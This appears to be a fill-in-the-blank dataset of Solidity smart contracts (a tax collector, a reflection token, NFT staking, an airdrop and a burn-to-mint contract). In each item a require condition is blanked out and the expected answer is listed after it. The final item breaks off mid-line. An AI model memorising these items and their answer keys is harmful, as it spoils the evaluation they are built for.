/**
If SF is negative and a tax receiver doesn't have enough coins to absorb the loss,
compute a new tax cut that can be absorbed
**/
currentTaxCut = (
both(multiply(debtAmount, currentTaxCut) < 0, coinBalance > multiply(debtAmount, currentTaxCut))
) ? coinBalance / int256(debtAmount) : currentTaxCut;
/**
If the tax receiver's tax cut is not null and if the receiver accepts negative SF
offer/take SF to/from them
**/
if (currentTaxCut != 0) {
if (
either(
receiver == primaryTaxReceiver,
either(
deltaRate >= 0,
both(currentTaxCut < 0, secondaryTaxReceivers[collateralType][receiverListPosition].canTakeBackTax > 0)
)
)
) {
safeEngine.updateAccumulatedRate(collateralType, receiver, currentTaxCut);
emit DistributeTax(collateralType, receiver, currentTaxCut);
}
}
}
}
| safeEngine.coinBalance(receiver)<2**255,"TaxCollector/coin-balance-does-not-fit-into-int256" | 72,832 | safeEngine.coinBalance(receiver)<2**255 |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Friday is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Friday The 13th";
string private constant _symbol = "$13Th";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _feeOnBuy = 0;
uint256 private _taxOnBuy = 20;
//Sell Fee
uint256 private _feeOnSell = 0;
uint256 private _taxOnSell = 30;
uint256 public totalFees;
//Original Fee
uint256 private _redisFee = _feeOnSell;
uint256 private _taxFee = _taxOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => uint256) private cooldown;
address payable private _developmentWalletAddress = payable(0x2C672124745EC4ee40163824e19fc8531B55E2D5);
address payable private _marketingWalletAddress = payable(0x2C672124745EC4ee40163824e19fc8531B55E2D5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max buy amount
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
//Set max wallet amount
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| _msgSender()==_developmentWalletAddress||_msgSender()==_marketingWalletAddress | 73,005 | _msgSender()==_developmentWalletAddress||_msgSender()==_marketingWalletAddress |
"Staking: Token already staked" | pragma solidity ^0.8.0;
contract RibbitStaking is IERC721Receiver, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC20 public rewardToken;
IERC721 public stakeToken;
address public admin;
uint256 public endTime;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 private rewardsPerTokenStored;
uint256 public totalStakedSupply;
mapping(address => uint256) public userRewardPerTokenPaids;
mapping(uint256 => StakeInfo) public stakeInfo; // token id => staking position info
mapping(address => uint256[]) private tokensStaked; // user address => array of token ids staked
mapping(uint256 => uint256) public tokenIdToIndex; // token id => index in tokensStaked array
mapping(address => uint256) public userUnclaimedRewards;
struct StakeInfo {
uint256 amount;
uint256 stakeTime; //time at which the NFT was staked
address staker;
}
constructor(address _stakeToken, address _rewardToken, address _admin, uint256 _endTime, uint256 _rewardRate) {
}
function initialize() public onlyAdmin {
}
//User functionality
function stake(uint256[] calldata tokenIds) public nonReentrant {
require(tokenIds.length != 0, "Staking: No tokenIds provided");
require(lastUpdateTime != 0, "Staking: Not yet initialized");
updateRewards(msg.sender);
for (uint256 i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
stakeToken.safeTransferFrom(msg.sender, address(this), tokenIds[i]);
stakeInfo[tokenIds[i]] = StakeInfo(
1,
block.timestamp,
msg.sender
);
tokensStaked[msg.sender].push(tokenIds[i]);
tokenIdToIndex[tokenIds[i]] = tokensStaked[msg.sender].length - 1;
}
totalStakedSupply += tokenIds.length;
}
function _unstake(uint256[] calldata tokenIds) private {
}
function unstakeAndClaim(uint256[] calldata tokenIds) public nonReentrant {
}
// forfeits rewards
function emergencyUnstake(uint256[] calldata tokenIds) public nonReentrant {
}
function claim() public nonReentrant {
}
function _claim() private {
}
function unclaimedRewards(address userAddress) public view returns(uint256) {
}
function getStakedTokens(address account) public view returns (uint256[] memory) {
}
//get staking position info for all the staked tokens by a user
function getStakedTokensInfo(address account) public view returns (StakeInfo[] memory) {
}
//Utils
function updateRewards(address account) internal {
}
function rewardsPerToken() public view returns (uint256) {
}
function lastTimeRewardApplicable() public view returns (uint256) {
}
//Admin utility
modifier onlyAdmin() {
}
function extendStakingPeriod(uint256 _newEndTime) external onlyAdmin {
}
//Misc
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
}
}
| stakeInfo[tokenIds[i]].staker==address(0),"Staking: Token already staked" | 73,105 | stakeInfo[tokenIds[i]].staker==address(0) |
"Staking: Not the staker of the token" | pragma solidity ^0.8.0;
contract RibbitStaking is IERC721Receiver, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC20 public rewardToken;
IERC721 public stakeToken;
address public admin;
uint256 public endTime;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 private rewardsPerTokenStored;
uint256 public totalStakedSupply;
mapping(address => uint256) public userRewardPerTokenPaids;
mapping(uint256 => StakeInfo) public stakeInfo; // token id => staking position info
mapping(address => uint256[]) private tokensStaked; // user address => array of token ids staked
mapping(uint256 => uint256) public tokenIdToIndex; // token id => index in tokensStaked array
mapping(address => uint256) public userUnclaimedRewards;
struct StakeInfo {
uint256 amount;
uint256 stakeTime; //time at which the NFT was staked
address staker;
}
constructor(address _stakeToken, address _rewardToken, address _admin, uint256 _endTime, uint256 _rewardRate) {
}
function initialize() public onlyAdmin {
}
//User functionality
function stake(uint256[] calldata tokenIds) public nonReentrant {
}
function _unstake(uint256[] calldata tokenIds) private {
for (uint256 i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
stakeToken.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
// Remove the token from the staked tokens array by swapping it with the last one and then deleting the last one
uint256 lastIndex = tokensStaked[msg.sender].length - 1;
uint256 lastTokenId = tokensStaked[msg.sender][lastIndex];
uint256 tokenIndex = tokenIdToIndex[tokenIds[i]];
tokensStaked[msg.sender][tokenIndex] = lastTokenId;
tokenIdToIndex[lastTokenId] = tokenIndex;
tokensStaked[msg.sender].pop();
delete tokenIdToIndex[tokenIds[i]];
delete stakeInfo[tokenIds[i]];
}
totalStakedSupply -= tokenIds.length;
}
function unstakeAndClaim(uint256[] calldata tokenIds) public nonReentrant {
}
// forfeits rewards
function emergencyUnstake(uint256[] calldata tokenIds) public nonReentrant {
}
function claim() public nonReentrant {
}
function _claim() private {
}
function unclaimedRewards(address userAddress) public view returns(uint256) {
}
function getStakedTokens(address account) public view returns (uint256[] memory) {
}
//get staking position info for all the staked tokens by a user
function getStakedTokensInfo(address account) public view returns (StakeInfo[] memory) {
}
//Utils
function updateRewards(address account) internal {
}
function rewardsPerToken() public view returns (uint256) {
}
function lastTimeRewardApplicable() public view returns (uint256) {
}
//Admin utility
modifier onlyAdmin() {
}
function extendStakingPeriod(uint256 _newEndTime) external onlyAdmin {
}
//Misc
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
}
}
| stakeInfo[tokenIds[i]].staker==msg.sender,"Staking: Not the staker of the token" | 73,105 | stakeInfo[tokenIds[i]].staker==msg.sender |
"Balance must be > 0" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BlocksManualDrop is Ownable, ReentrancyGuard {
struct User {
uint256 stakeTime;
uint256 claimTime;
uint256 allocatedBalance;
}
mapping(address => User) public userAccount;
uint256 public totalClaimed;
uint256 public totalAllocated;
address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB;
event Allocated(uint256 totalAllocated);
event ERC20TokensRemoved(address indexed tokenAddress, address indexed receiver, uint256 amount);
constructor() {}
function manuallyAllocateRewards(address[] calldata _beneficiaries, uint256[] calldata _earnings) external onlyOwner {
}
function _contractBalance() internal view returns (uint256 balance) {
}
function getContractBalance() external view returns (uint256 balance) {
}
function withdrawAll() external nonReentrant {
require(<FILL_ME>)
uint256 _withdrawalAmount = userAccount[msg.sender].allocatedBalance;
require(_withdrawalAmount <= _contractBalance(), "Contract balance too low.");
// Update user
userAccount[msg.sender].stakeTime = 0;
userAccount[msg.sender].claimTime = block.timestamp;
userAccount[msg.sender].allocatedBalance = 0;
_reduceAllocation(_withdrawalAmount);
IERC20(token).transfer(msg.sender, _withdrawalAmount);
}
function withdrawAmount(uint256 _amount) external nonReentrant {
}
function removeTokens(address _tokenAddress) external onlyOwner {
}
function _reduceAllocation(uint256 _amount) internal {
}
function _increaseAllocation(uint256 _amount) internal {
}
}
| userAccount[msg.sender].allocatedBalance>0,"Balance must be > 0" | 73,113 | userAccount[msg.sender].allocatedBalance>0 |
"Balance must be > amount" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BlocksManualDrop is Ownable, ReentrancyGuard {
struct User {
uint256 stakeTime;
uint256 claimTime;
uint256 allocatedBalance;
}
mapping(address => User) public userAccount;
uint256 public totalClaimed;
uint256 public totalAllocated;
address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB;
event Allocated(uint256 totalAllocated);
event ERC20TokensRemoved(address indexed tokenAddress, address indexed receiver, uint256 amount);
constructor() {}
function manuallyAllocateRewards(address[] calldata _beneficiaries, uint256[] calldata _earnings) external onlyOwner {
}
function _contractBalance() internal view returns (uint256 balance) {
}
function getContractBalance() external view returns (uint256 balance) {
}
function withdrawAll() external nonReentrant {
}
function withdrawAmount(uint256 _amount) external nonReentrant {
require(userAccount[msg.sender].allocatedBalance > 0, "Balance must be > 0");
require(<FILL_ME>)
require(_amount <= _contractBalance(), "Contract balance too low.");
uint256 _balance = userAccount[msg.sender].allocatedBalance;
// Update user allocation
_balance -= _amount;
userAccount[msg.sender].allocatedBalance = _balance;
userAccount[msg.sender].claimTime = block.timestamp;
_reduceAllocation(_amount);
IERC20(token).transfer(msg.sender, _amount);
}
function removeTokens(address _tokenAddress) external onlyOwner {
}
function _reduceAllocation(uint256 _amount) internal {
}
function _increaseAllocation(uint256 _amount) internal {
}
}
| userAccount[msg.sender].allocatedBalance>=_amount,"Balance must be > amount" | 73,113 | userAccount[msg.sender].allocatedBalance>=_amount |
"BalloonBurn: You must burn at least one ticket" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "./IManifoldERC1155.sol";
import "./IBurnExtension.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BalloonBurn is Ownable {
IManifoldERC1155 public balloonContract =
IManifoldERC1155(0x1386f70A946Cf9F06E32190cFB2F4F4f18365b87);
IBurnExtension public balloonBurn = IBurnExtension(0xfa1B15dF09c2944a91A2F9F10A6133090d4119BD);
uint256 pinkBurnIndex = 561955056;
uint256 blackBurnIndex = 547537136;
uint256 blueBurnIndex = 547496176;
uint256 greenBurnIndex = 547492080;
uint256 public ticketTokenId = 2;
uint256 public pinkBalloonTokenId = 3;
uint256 public blackBalloonTokenId = 4;
uint256 public blueBalloonTokenId = 5;
uint256 public greenBalloonTokenId = 6;
uint256[] public ticketTokenIds;
bool public enabled;
constructor() {
}
event BalloonMint(
address indexed user,
uint32 pinkBalloons,
uint32 blackBalloons,
uint32 blueBalloons,
uint32 greenBalloons
);
function burnAndMint(
uint32 pinkBalloons,
uint32 blackBalloons,
uint32 blueBalloons,
uint32 greenBalloons
) external {
require(enabled, "BalloonBurn: Contract is not enabled");
require(<FILL_ME>)
